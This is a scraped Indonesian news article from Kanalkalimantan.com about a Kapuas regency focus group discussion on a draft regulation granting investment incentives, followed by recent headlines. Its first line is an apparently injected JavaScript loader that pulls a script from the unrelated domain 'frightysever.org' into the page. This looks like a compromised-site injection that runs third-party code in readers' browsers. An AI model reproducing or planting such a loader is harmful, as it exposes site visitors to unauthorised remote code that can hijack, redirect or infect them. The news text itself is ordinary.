(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

DPMPTSP Kapuas Gelar FGD Penyusunan Raperda Kemudahan Investasi


KANALKALIMANTAN.COM, KUALA KAPUAS – Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kabupaten Kapuas menggelar Focus Group Discussion (FGD) penyusunan naskah akademik Rancangan Peraturan Daerah (Raperda) tentang pemberian insentif dan kemudahan investasi.

Kegiatan FGD yang berlangsung di Ballroom Hotel Permata Iin Kuala Kapuas, Selasa (26/3/2024), dibuka secara Staf Ahli Bupati Kapuas Jaya dihadiri Asisten II Setda Kapuas, Salman, dan Kepala DPMPTSP Kapuas Pangeran S Pandiangan.

Staf Ahli Bupati Kapuas Jaya mengatakan, Kabupaten Kapuas memang perlu peraturan sebagai payung hukum untuk para investor berinvestasi di daerah ini.

Baca juga: Lima Juta Batang Rokok Ilegal Masuk Kalsel Dimusnahkan, Liquid Vape dan Alkohol

“Karena kita ketahui kondisi pemerintah daerah pasti memerlukan investasi. Jadi, tidak ada negara di dunia ini yang tidak membutuhkan investasi,” katanya.

Karenanya melalui kegiatan FGD ini, Jaya berharap untuk bersama-sama memberikan masukan dan sumbang saran untuk penyempurnaan Raperda tentang pemberian insentif dan kemudahan investasi.

Baca juga: Dapati Kafe dan Biliar Buka Malam Ramadan di Banjarbaru

Kepala DPMPTSP Kapuas Pangeran S Pandiangan mengatakan, diskusi menggenai Raperda tentang pemberian insentif kepada pengusaha yang akan menanamkan usaha di Kapuas karena selama ini mungkin ada dirasa kendala-kendala oleh calon investor yang ingin menanamkan investasi di Kabupaten Kapuas.

“Kendala-kendala tersebutlah yang kemudian akan dituangkan dan dimasukan dalam rancangan peraturan daerah tentang pemberian insentif dan kemudahan investasi ini,” ujarnya.

Baca juga: Wapres KH Ma’ruf Amin Dijadwalkan Hadiri Haul ke-218 Datu Kelampayan di Dalam Pagar

“Jadi, nanti pemerintah memberikan insentif. Misalnya insentif berupa keringanan pajak, retribusi, infrastruktur yang disiapkan pemerintah atau hal-hal lain yang dibutuhkan pengusaha,” kata Pangeran. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Muhammad Andi

Recent Posts

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

51 menit ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

4 jam ago

Embarkasi Haji Banjarmasin Berangkatkan Kloter 1, 320 Jemaah Menuju Madinah

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More

4 jam ago

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

18 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

20 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

23 jam ago

This website uses cookies.